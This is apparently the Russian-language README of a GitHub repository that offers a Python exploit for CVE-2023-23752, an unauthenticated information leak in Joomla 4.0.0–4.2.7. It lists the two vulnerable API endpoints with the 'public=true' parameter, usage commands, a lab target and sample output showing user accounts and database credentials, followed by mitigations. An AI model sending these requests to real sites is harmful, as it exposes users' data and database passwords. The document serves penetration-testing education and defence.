CVE-2023-23752 — Joomla! < 4.2.8 Неаутентифицированное раскрытие информации

⚠️ Отказ от ответственности: Этот инструмент предназначен только для образовательных целей и авторизованного тестирования на проникновение. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированное использование незаконно.

Обзор

Joomla! — одна из наиболее широко используемых систем управления контентом (CMS) с открытым исходным кодом. Версии 4.0.0 – 4.2.7 открывают две конечные точки API без надлежащего контроля доступа, позволяя неаутентифицированному злоумышленнику получать конфиденциальную информацию: зарегистрированные учётные записи пользователей и, в уязвимых конфигурациях, учётные данные базы данных сайта.

Уязвимость была обнаружена Цзевэем Чжаном (Zewei Zhang) из NSFOCUS TIANJI Lab и раскрыта проекту Joomla!, который выпустил исправление в версии 4.2.8. Ей присвоен номер CVE-2023-23752.

Этот репозиторий содержит порт на Python оригинального эксплойта на Ruby, опубликованного ACCEIS.

Детали уязвимости

Поле	Значение
CVE	CVE-2023-23752
Затронуто	Joomla! 4.0.0 – 4.2.7
Тип	Некорректный контроль доступа / Раскрытие информации
Привилегии	Отсутствуют (неаутентифицированный)
Воздействие	Раскрытие учётных записей пользователей и учётных данных БД
Исправление	Joomla! 4.2.8 (выпущено в 2023 г.)

Принцип работы

Конечные точки веб-сервисов REST API Joomla! должны проверять аутентификацию и права доступа перед возвратом данных. В затронутых версиях две конечные точки не выполняют эту проверку должным образом, когда вызываются с параметром запроса public=true, обрабатывая запрос так, как если бы он поступил от анонимного уровня доступа «public», который должен раскрывать только неконфиденциальные данные, но вместо этого утекает внутренняя информация.

Уязвимые конечные точки

GET /api/index.php/v1/users?public=true
GET /api/index.php/v1/config/application?public=true

Конечная точка users возвращает полный список зарегистрированных учётных записей: id, отображаемое имя, имя пользователя, email и членство в группах.
Конечная точка config возвращает конфигурацию приложения, включая — если установщик не был удалён/защищён — хост базы данных, имя пользователя, пароль, имя базы данных, префикс и настройки шифрования.

Поток эксплойта

Скрипт автоматизирует следующие шаги:

1. Отправка GET-запроса на /api/index.php/v1/users?public=true
2. Парсинг ответа JSON:API и извлечение записей пользователей
3. Отправка GET-запроса на /api/index.php/v1/config/application?public=true
4. Парсинг ответа JSON:API и извлечение конфигурации сайта и базы данных
5. Вывод обоих наборов данных на консоль

Никакая аутентификация, сессия или токен CSRF не требуются ни на одном этапе — вся атака состоит из двух неаутентифицированных GET-запросов.

Требования

Python 3.8+
requests

pip install requests --break-system-packages

Установка

git clone https://github.com/BardLaudian/CVE-2023-23752.git
cd CVE-2023-23752
pip install requests --break-system-packages

Использование

usage: CVE-2023-23752.py [-h] url

positional arguments:
  url         Базовый URL цели, например http://dev.devvortex.htb

options:
  -h, --help  показать это справочное сообщение и выйти

Примеры

Базовое использование

python3 CVE-2023-23752.py http://127.0.0.1:4242

Против цели типа HTB

python3 CVE-2023-23752.py http://dev.devvortex.htb

Пример вывода

=== Users ===
  [123] Administrator (admin) - [email protected] - ['Super Users']

=== Site info ===
  Site name: My Site
  Editor: tinymce
  Captcha: 0
  Access: 1
  Debug status: False

=== Database info ===
  DB type: mysqli
  DB host: localhost
  DB user: joomla_user
  DB password: ********
  DB name: joomla_db
  DB prefix: sd8f2_
  DB encryption: 0

Меры защиты

Обновите Joomla! до версии 4.2.8 или новее — это единственное полное исправление.
Ограничьте доступ к /api/index.php/* на уровне веб-сервера или WAF, если обновление невозможно немедленно.
Смените учётные данные для любых учётных записей или пользователей базы данных, которые могли быть раскрыты через эту конечную точку до установки исправления.
Отслеживайте журналы доступа на предмет неаутентифицированных запросов к путям веб-сервиса /api/index.php/v1/.

Благодарности

Уязвимость обнаружена: Zewei Zhang, NSFOCUS TIANJI Lab
Оригинальный эксплойт (Ruby): noraj (Alexandre ZANNI) из ACCEIS — оригинальный репозиторий
Порт на Python: Bardlaudian

CVE-2023-23752

Популярное